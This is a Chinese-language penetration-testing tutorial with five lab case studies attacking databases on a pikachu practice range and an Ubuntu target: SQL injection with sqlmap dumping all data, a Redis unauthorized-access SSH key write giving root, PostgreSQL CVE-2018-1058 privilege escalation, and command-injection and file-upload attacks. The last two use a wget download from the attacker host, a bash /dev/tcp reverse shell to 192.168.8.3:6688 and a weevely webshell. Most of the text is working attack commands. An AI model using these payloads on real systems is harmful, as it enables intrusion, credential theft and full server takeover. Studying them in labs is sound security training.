对数据库渗透的5个案例
1. mysql的sql注入
1.1 环境搭建
攻击机A:kali
靶机B:Ubuntu
1.1.1 安装php+mysql+apache
在这里,网上一般的方法都可以,比较简单。
1.1.2 安装配置pikachu
pikachu:https://github.com/zhuifengshaonianhanlu/pikachu
1)把下载下来的pikachu文件夹放到web服务器根目录下(一般在/var/www/html/)。
2)根据实际情况修改inc/config.inc.php里面的数据库连接配置;
3)访问http://x.x.x.x/pikachu,会有一个红色的热情提示"欢迎使用,pikachu还没有初始化,点击进行初始化安装!",点击即可完成安装。
1.2 渗透测试
1.2.1 选择SQL inject->数字型注入(post)
1.2.2 一般思路:
判断该功能为查询输入的userid是否存在,若存在则返回相关消息。故可判断可能存在与数据库连接进行查询操作。再观察url:http://192.168.8.9/html/vul/sqli/sqli_id.php和burp抓包
通过post方法传递id参数,与后端进行交互。判断id可能为sql注入点;
1.2.3 渗透过程:
1)在这里可以直接那sqlmap跑,也可以先用burp抓包手动分析。在这里先用burp:打开截断,方便在浏览器查看注入后的变化。把id参数改为:-1 or 1=1
结果如下图,显示出所有的user信息,确认存在sql注入:
2)接下来直接拿出sqlmap跑,在命令行输入:
sqlmap -u "http://192.168.8.9/html/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" --dump-all
直接把数据库所有内容脱下来(截图显示部分):
2. redis未授权访问
2.1 环境搭建
攻击机A:kali
靶机B:Ubuntu
2.1.1 安装redis
1)从官网下载,在命令行输入:
sudo wget http://download.redis.io/releases/redis-3.2.11.tar.gz
2)下载成功后,解压:
tar xzf redis-3.2.11.tar.gz
3)进入解压后的目录,输入make执行:
cd redis-3.2.11 make
4)进入src目录:cd src,将redis-server和redis-cli拷贝到/usr/bin目录下:
cd src sudo cp redis-server /usr/bin/ sudo cp redis-cli /usr/bin/
5)返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下:
sudo cp redis.conf /etc/
6)编辑etc中的redis配置文件redis.conf:
sudo vim /etc/redis.conf
7)去掉ip绑定,允许除本地外的主机远程登录redis服务,在箭头这一行前面加上#,注释掉:
关闭保护模式,允许远程连接redis服务,把下图的yes改为no:
8)使用/etc/目录下的reids.conf文件中的配置启动redis服务:
sudo redis-server /etc/redis.conf
2.1.2 启动ssh服务
打开另一个终端窗口,命令行输入:
sudo /etc/init.d/ssh start
2.1.3 在攻击机A上安装redis
apt-get install redis
2.2 渗透测试
2.2.1 获取两部主机的ip
攻击机A:192.168.8.3
靶机B:192.168.8.9
2.2.2 连接redis
1)在靶机B中创建ssh公钥存放目录:
mkdir /root/.ssh
2)在攻击机A中生成ssh公钥和私钥,密码设置为空:
ssh-keygen -t rsa
3)进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:
cd .ssh/ (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>1.txt
4)将1.txt写入redis(使用redis-cli -h ip命令连接靶机B,将文件写入):
cat 1.txt | redis-cli -h 192.168.8.9 -x set crack
5)远程登录主机A的redis服务:
redis-cli -h 192.168.8.9
此时,其实已经连接上redis了,如下图:
2.2.3 使用ssh拿shell
因为该redis还没有进行任何数据的存储,就不进行数据的窃取了。接下来展示通过redis拿到系统的shell,扩大战果。
1)使用CONFIG GET dir命令得到redis备份的路径:
CONFIG GET dir
2))更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):
CONFIG SET dir /root/.ssh/
3)设置上传公钥的备份文件名字为authorized_keys:
CONFIG SET dbfilename authorized_keys
4)检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机:
CONFIG GET dbfilename
5)开启主机A、B的的ssh服务:
sudo /etc/init.d/ssh start
6)在攻击机A使用ssh免密登录靶机B:
ssh -i id_rsa root@192.168.8.9
至此,成功登陆,成功执行id命令。成功通过ssh获取root权限的shell。
3.PostgreSQL 远程代码执行(CVE-2018-1058)
3.1 环境搭建
攻击机A:kali,ip: 192.168.8.3
靶机B:Ubuntu,ip: 192.168.8.8
3.1.1 在靶机B上安装postgreSQL
由于PostgreSQL远程代码执行漏洞影响版本有限,需要安装某些特定版本。在这里安装的是9.6版本:
1)添加源:
sudo vim /etc/apt/sources.list.d/pgdg.list
输入:
deb http://apt.postgresql.org/pub/repos/apt/ xenial-pgdg main
保存并退出。
2)导入安装密钥:
wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add -
3)安装:
sudo apt-get install postgresql-9.6
4)远程访问配置:
sudo vim /etc/postgresql/9.6/main/postgresql.conf
把listen_addresses = 'localhost'注释去掉并改为 listen_addresses = '*'
sudo vim /etc/postgresql/9.6/main/pg_hba.conf
把设置修改为下图:
5)重新启动postgresql:
/etc/init.d/postgresql restart
3.1.2 数据库配置
光有数据库不行,得加点东西进去
1)连接数据库:
psql -U postgres
2)在数据库里,输入以下命令,创建数据库和新用户:(postgres=#开头的为输入行)
postgres=# CREATE DATABASE evil; postgres=# CREATE USER chybeta WITH PASSWORD 'chybeta'; CREATE ROLE postgres=# GRANT ALL PRIVILEGES ON DATABASE evil to chybeta; GRANT
3)输入\q退出,然后使用chybeta用户登陆evil数据库:(密码为chybeta,上一条命令里有)
psql -U chybeta -d evil
4)在public模式中创建一张表以及对应的字段:
evil=> CREATE TABLE public.test AS SELECT 'just test' ::text AS test;
然后会看到返回SELECT 1。接着进行查询:
evil=> SELECT * FROM test;
会看到返回just test字段。
5)创建一个新的模式(schema),其模式名为chybeta:
evil=> CREATE schema chybeta;
6)在chybeta模式中创建对应的表以及字段:
evil=> CREATE TABLE chybeta.test AS SELECT 'i am chybeta'::text AS test;
7)执行上次相同的查询语句:
evil=> SELECT * FROM test;
3.2 渗透测试
3.2.1 方法一
1)在攻击机A上,进行远程连接靶机B的PostgreSQL::
psql --host 192.168.8.8 --username chybeta -d evil
2)连接数据库后,执行如下语句:
evil=> CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$ ALTER ROLE chybeta SUPERUSER; SELECT pg_catalog.upper($1); $$ LANGUAGE SQL VOLATILE;
在这里,创建了一个名叫upper的恶意函数,当然数据库里本来也有一个upper函数,但是在这个漏洞里面,会先执行我们自定义的函数,至于原因这里就不展开了。
这个自定义的upper函数的恶意功能就是把用户chybeta设置成为超级用户。
3)创建一张表:
evil=> CREATE TABLE public.hehehehe AS SELECT 'chybeta'::varchar AS contents;
4)在这里,先看一下现在的用户的权限是怎么样的:
evil=> select rolname,rolsuper from pg_roles;
这里的用户chybeta还是f,而不是超级用户postgres的t。
5)接下来的操作是模拟管理员的操作了,他看小写的chybeta不顺眼,想让他变成大写(关键在于管理员执行恶意函数),执行了以下的操作:
select current_user; select contents from hehehehe; select upper(contents) from hehehehe;
6)看上去一切正常,大写的大写。回到用户chybeta处,查看一下权限:
现在我们就可以使用chybeta用户远程登陆PostgreSQL数据库了,且这是一个超级用户,如图同postgres用户拥有相同的权限。
至此完成对postgresql的渗透。
4.通过命令执行漏洞
4.1 环境搭建
攻击机A:kali,192.168.8.3
靶机B:Ubuntu,192.168.8.9
在这里就不需要搭建新的环境了,使用1里面的pikachu靶场就可以。
4.2 渗透测试
4.2.1 查看配置文件,获取数据库用户名密码
1)输入127.0.0.1查看回显:
2)输入127.0.0.1;ls查看回显:
成功执行ls命令,回显出了当前目录下的文件。
3)执行以下命令,找到配置文件(可以通过ls .. ls ../.. 一点一点去找到这个目录)
127.0.0.1;ls ../../inc
4)执行以下命令就可以看到数据库的用户名和密码了:
127.0.0.1;cat ../../inc/config.inc.php
但是在浏览器页面上看不到有回显:
此时可以通过burp抓包查看:
也可以在浏览器查看源码:
由此得到数据库的用户名密码:root/null(空密码)
4.2.2 通过命令执行拿shell
1)在攻击机上开启apache服务,并在web根目录写一个反弹shell文件:
service apache2 start
反弹shell文件的内容:
#!/bin/bash bash -c "bash -i >& /dev/tcp/192.168.8.3/6688 0>&1"
并命名为abc.sh。
2)在命令输入窗口输入:
1&wget -P /tmp http://192.168.8.3/abc.sh
这里,wget命令下载攻击机上的反弹shell文件,-P指定下载目录,因为只有该目录下该用户具有读写执行权限。
3)ls查看一下/tmp目录下是否有abc.sh文件:
1&ls /tmp
确认已经下载了abc.sh(这里的1.txt是我测试用的文件) 。
4)在攻击机A上打开侦听,侦听6688端口(与abc.sh文件内容对应):
nc -lvp 6688
5)输入命令执行abc.sh文件:
1&bash /tmp/abc.sh
nc上已经成功连上:
在此,已经拿到了反弹shell了。
4.2.3 获取交互式shell,并进入Mysql
在这里从反弹shell变成完全交互式shell:
python -c 'import pty; pty.spawn("/bin/bash")'
现在,已经是完全交互式shell了。刚刚我们也已经获得了mysql的用户名和密码:root/null(空密码)
于是进行mysql登陆:
mysql -u root -p
输入密码这一步直接按回车,即可进入数据库。
show databases; 一下看看:
接下来就是基本的数据库操作了,想看什么看什么。
5.通过文件上传漏洞
5.1 环境搭建
攻击机A:kali,192.168.8.3
靶机B:Ubuntu,192.168.8.9
在这里同样不需要搭建新的环境了,使用1里面的pikachu靶场就可以。
接下来还需要对环境做一点配置,因为当初配置pikachu的时候也是自己纯手搭的。打开靶机B:
进入到/var/www/html/vul/unsafeupload,建立一个uploads文件夹:
sudo mkdir uploads
然后给这个目录最高权限(最高权限不是安全的,但是方便):
sudo chmod 777 uploads
好了,现在环境就配置好了。
5.2 渗透测试
1)首先写一个webshell,在这里直接用Kali的工具,用密码abc创建一个名为shell.php的文件:
weevely generate abc shell.php
打开目录/usr/share/weevely就可以看到shell.php
2)用weevely连接webshell,用法:weevely <url> <password>
weevely http://192.168.8.9/html/vul/unsafeupload/uploads/shell.php abc
成功连上了,获得webshell。
3)一样的,去找配置文件,看泄露的数据库用户名和密码,在/var/www/html/inc目录找到:
直接cat一下:
如图数据库用户名密码:root/(空密码)
4)直接用mysql命令连接:
mysql -u root -p
这样会发现没有回显,还不能连上,所以还是要用python建立一个完全交互式shell:
python -c 'import pty; pty.spawn("/bin/bash")'
然后又发现,没有任何反应,没有回显。那就继续想办法,在这里已经拿到了shell了,只是进不了mysql,交互性不够。然后想起来,刚刚在命令执行漏洞的时候,在web根目录下建了一个abc,sh的shell脚本文件:
5)接着这里的思路,先在攻击机a上打开侦听6688端口,然后在这个shell里执行wget命令:
nc -lvp 6688
wget -P /tmp http://192.168.8.3/abc.sh
因为这里我刚刚操作命令执行漏洞的时候已经存在abc.sh了,这里自动命名为abc.sh.1,但是没关系,两个文件内容是一样的。
6)接下来就是在这个shell里执行这个abc.sh文件:
bash /tmp/abc.sh
nc成功连上。那为什么我一开始用python无法建立完全交互式shell的时候不直接用nc呢?因为我这个靶机的nc有点问题....所以绕了这么大一圈,才用到nc。
7)在这里就可以用Python那条命令了:
python -c 'import pty; pty.spawn("/bin/bash")'
这样就可以登陆mysql了。select user()看一下当前用户:
超级用户,接下来就可以随便玩了。